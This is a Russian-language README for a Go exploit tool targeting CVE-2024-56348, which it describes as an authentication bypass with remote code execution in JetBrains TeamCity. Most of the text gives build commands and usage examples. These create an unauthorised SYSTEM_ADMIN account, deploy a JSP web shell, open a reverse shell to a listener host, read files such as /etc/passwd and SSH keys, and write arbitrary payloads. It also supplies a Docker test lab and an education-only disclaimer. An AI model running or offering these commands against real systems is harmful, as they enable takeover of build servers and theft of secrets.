Go-эксплойт для CVE-2024-56348, нацеленный на обход аутентификации и удалённое выполнение кода в JetBrains TeamCity. Обеспечивает интерактивную оболочку, reverse shell, чтение/запись файлов и выполнение одиночных команд без учётных данных.
CVE-2024-56348 — это критическая уязвимость обхода аутентификации в JetBrains TeamCity on-premises, затрагивающая все версии до 2024.12. REST API некорректно обрабатывает запросы к путям, содержащим ;.jsp, что позволяет неавторизованному злоумышленнику вызывать любую REST конечную точку, как если бы он был полностью аутентифицирован.
Данный эксплойт использует обход аутентификации совместно с собственным REST API TeamCity для создания учётной записи SYSTEM_ADMIN, получения API-токена и достижения полного удалённого выполнения кода — либо через встроенную отладочную конечную точку, либо через динамически загруженный JSP-плагин веб-шелла. Учётные данные не требуются.
Уязвимые версии: JetBrains TeamCity on-premises < 2024.12
-command с полным выводом stdout, stderr и кода возвратаgit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t Целевой URL (например, http://127.0.0.1:8111)
-command Выполнить одиночную команду и вывести результат
-shell Запустить обратную оболочку (требует -lhost и -lport)
-lhost Хост слушателя для обратной оболочки
-lport Порт слушателя для обратной оболочки
-read-file Прочитать удалённый файл и вывести его содержимое
-write-file Удалённый путь для записи (требует -file-content)
-file-content Содержимое для записи при использовании -write-file
При отсутствии флага действия автоматически запускается интерактивная оболочка.
Подключается к цели, подтверждает обход, создаёт временную учётную запись администратора и запускает интерактивную оболочку. В приглашении показывается код возврата последней команды: зелёный (успех) или красный (ненулевой).
./cve-2024-56348 -t http://127.0.0.1:8111

Выполняет одну команду и выводит stdout, stderr и код возврата отдельно.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Развёртывает JSP-плагин веб-шелла и запускает обратную оболочку на ваш слушатель. Предварительно запустите nc -lvp 4444.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Читает любой файл, доступный процессу TeamCity — полезно для конфигурационных файлов, SSH-ключей и т.д.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Записывает произвольное содержимое в удалённый путь. Полезно для размещения дополнительных полезных нагрузок или изменения конфигурации.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Автономное окружение Docker Compose с уязвимым экземпляром TeamCity для локального тестирования. Подробнее см. в DOCKER.md
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Если скрипт возвращает "[-] Plugin upload failed.", попробуйте войти под пользователем hackindex и повторить попытку. (учётные данные можно найти в DOCKER.md)
Этот инструмент предоставляется только в образовательных и исследовательских целях. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным инструментом.